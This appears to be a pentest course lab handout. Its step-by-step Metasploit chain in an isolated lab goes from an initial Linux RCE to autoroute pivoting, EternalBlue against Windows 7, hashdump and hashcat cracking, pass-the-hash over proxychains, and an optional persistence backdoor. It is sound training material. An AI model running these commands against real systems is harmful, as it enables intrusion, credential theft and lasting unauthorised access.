Metasploit — Hands-on lab

You reproduce the walkthrough on your own. Three targets, one pivot, a SYSTEM session on a machine Kali could not see. This is lab #2 of the training — a deliverable for the end of week 8.

Budget: 3 h to 4 h.

Deliverable: ~/labs/semaine-08/rapport/pivot.md + all the artifacts in ~/labs/semaine-08/preuves/ + a reproducible .rc.

Isolated lab

A lab with two isolated host-only subnets. No command leaves your PC.

Prerequisites

Three VMs:

Kali: 10.10.10.5 (single adapter on hostonly1).
Metasploitable 2: 10.10.10.20 on hostonly1 + 192.168.100.20 on hostonly2. IP forwarding enabled.
Vulnerable Windows 7 or Metasploitable 3 Windows: 192.168.100.42 on hostonly2 only.

Check before you begin:

# From Kali
ping -c 2 10.10.10.20    # must reply
ping -c 2 192.168.100.42 # must FAIL (network unreachable)

If 192.168.100.42 replies from Kali, your lab isn't segmented enough. Fix it.

Step 1 — Initial RCE on `10.10.10.20` (20 min)

Choose one RCE among those identified in week 5. Do not take vsftpd (already done in the demo). Suggestions:

Samba usermap script (exploit/multi/samba/usermap_script).
distccd (exploit/unix/misc/distcc_exec).
UnrealIRCd (exploit/unix/irc/unreal_ircd_3281_backdoor).

Create atelier-1-rce.rc:

workspace atelier-s08
use exploit/<choice>
set RHOSTS 10.10.10.20
set PAYLOAD <consistent choice: cmd/unix/reverse_bash or linux/x64/meterpreter/reverse_tcp>
set LHOST 10.10.10.5
set LPORT 4444
run

Launch:

msfconsole -q -r atelier-1-rce.rc

Goal: Session 1 opened. Check sysinfo and getuid.

Save the full output in preuves/01-rce-initiale.log.

Step 2 — Upgrade to Meterpreter if needed (10 min)

If your initial session is cmd/unix or shell, upgrade it:

sessions -u <id>

Wait for the message Meterpreter session <n> opened.

Manual alternative:

sessions -i 1
python -c 'import pty; pty.spawn("/bin/bash")'
# or for a real meterpreter:
background
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run

Save it in preuves/02-upgrade.log.

Step 3 — Open the pivot (10 min)

use post/multi/manage/autoroute
set SESSION <linux-meterpreter-id>
set SUBNET 192.168.100.0
run

route print

Check:

route print

Must show:

   Subnet             Netmask            Gateway
   192.168.100.0      255.255.255.0      Session <id>

Save the output in preuves/03-autoroute.log.

Step 4 — Scan the internal network (15 min)

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.0/24
set PORTS 22,80,135,139,445,3389,8080
set THREADS 20
run

Find 192.168.100.42 with its ports. Confirm the vulnerability:

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.100.42
run

Expected key line: Host is likely VULNERABLE to MS17-010.

Save it in preuves/04-scan-interne.log.

Step 5 — Exploit the hidden target (30 min)

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.100.42
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4455
run

Mind the payload: bind_tcp, not reverse_tcp. The hidden target can't reach your Kali.

Goal: Meterpreter session <n> opened with getuid = NT AUTHORITY\SYSTEM.

Save:

sessions -i <n>
getuid
sysinfo
ipconfig

Full trace in preuves/05-exploitation-cachee.log.

If it fails:

Go back to the MS17-010 scan, retry the check.
Check the Windows firewall on the target. On a vulnerable Windows 7, it's often blocked. netsh advfirewall set allprofiles state off from a physical access, before you start.
If Exploit aborted due to failure: no-target, revert the VM to a vulnerable snapshot.

Step 6 — Extraction (20 min)

In the Windows Meterpreter session:

hashdump > /home/kali/labs/semaine-08/preuves/win-hashes.txt

Cracking:

hashcat -m 1000 preuves/win-hashes.txt /usr/share/wordlists/rockyou.txt --username \
        -o preuves/hashcat-results.txt

Goal: at least one cracked password.

Bonus — screenshot:

screenshot -p /home/kali/labs/semaine-08/preuves/win-screenshot.jpeg

Step 7 — SOCKS proxy and an external tool (20 min)

Open the proxy:

use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j

Configure /etc/proxychains4.conf:

socks5  127.0.0.1 1080

Test it:

proxychains nxc smb 192.168.100.42 -u Administrator -H <cracked-or-plaintext-hash>

Goal: the line [+] WORKGROUP\Administrator (Pwn3d!).

Save:

The output of nxc in preuves/07-nxc-proxychains.log.

Step 8 — Complete `.rc` script (30 min)

Consolidate everything in atelier-complet.rc. Note: the steps that require interaction (session upgrade, choosing an interactive session) stay manual; script what can be scripted.

workspace atelier-s08

# --- Phase 1: initial RCE ---
use exploit/<your-choice>
set RHOSTS 10.10.10.20
set PAYLOAD <your-payload>
set LHOST 10.10.10.5
set LPORT 4444
run

# --- WAIT for session 1, then by hand: sessions -u 1 ---
# --- Then re-launch msfconsole with atelier-pivot.rc ---

atelier-pivot.rc:

workspace atelier-s08
route add 192.168.100.0/24 <linux-meterpreter-id>

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.100.42
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4455
run

use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j

route print
sessions

Step 9 — The report (30 min)

~/labs/semaine-08/rapport/pivot.md — 2 pages, fixed structure:

# Internal pentest with pivot — Week 8

## 1. Executive summary (5 lines)

## 2. Technical scope
- Targets, IPs, networks
- Tools used

## 3. Exploitation chain (numbered, short)
1. ...
2. ...
3. ...
7. ...

## 4. Evidence
- List of files in preuves/

## 5. Impact
One strong sentence: "Full compromise of both machines, with the
NT AUTHORITY\SYSTEM account on the internal target unreachable from the Internet.
Administrator password cracked in X seconds."

## 6. Recommendations (3-5)
1. Immediate patching of the end-of-life systems.
2. Strict segmentation: the internal subnet should not have a
   gateway to an exposed server.
3. SMBv1 disabled everywhere.
4. Rotation of weak passwords.
5. Detection: monitor autoroute-like patterns in the EDR.

## 7. Appendices
- atelier-complet.rc
- atelier-pivot.rc

Self-assessment checklist

Optional extension — Persistence

Careful: in a client pentest, persistence is tightly framed by the RoE. In the lab, do it to understand it.

On the Windows Meterpreter session:

run persistence -X -i 30 -p 4455 -r 10.10.10.5

You add a registry key that relaunches the payload at every boot. In a real pentest: this command creates a backdoor — it must be documented in the report and removed before the end of the engagement. A pentester who forgets a backdoor is a pentester who doesn't get hired again.

To remove it:

resource /root/.msf4/logs/persistence/WIN7-VICTIM_20260420.rc
# Follow the instructions to erase the registry key.

What usually blocks you

Symptom	Cause	Fix
`Exploit aborted due to failure: no-target`	Target not vulnerable or already exploited	Snapshot revert.
`route add`: `Route already exists`	Route kept from a previous run	`route flush`.
`Meterpreter died` on the Linux box	Metasploitable antivirus? No, but unreliable TCP protocol	Recreate the session, try a non-staged `payload`.
`bind_tcp` doesn't connect	Windows 7 firewall blocks it	Disable Defender + Firewall in the VM.
`nxc` via proxychains returns `errno 111`	Proxy not started	`route print` and `sessions` to check.
Hashcat found nothing	Password too strong	Normal. Document it as a failure.

What you take away from this lab

The physical understanding of a pivot: what Kali sees vs what the compromised target sees.
A reproducible end-to-end workflow.
A scripted .rc that replays the chain.
An internal pentest report in a 2-page format.
The ability to reproduce these attacks in a client presentation.

Prerequisites​

Step 1 — Initial RCE on 10.10.10.20 (20 min)​

Step 2 — Upgrade to Meterpreter if needed (10 min)​

Step 3 — Open the pivot (10 min)​

Step 4 — Scan the internal network (15 min)​

Step 5 — Exploit the hidden target (30 min)​

Step 6 — Extraction (20 min)​

Step 7 — SOCKS proxy and an external tool (20 min)​

Step 8 — Complete .rc script (30 min)​

Step 9 — The report (30 min)​

Self-assessment checklist​

Optional extension — Persistence​

What usually blocks you​

What you take away from this lab​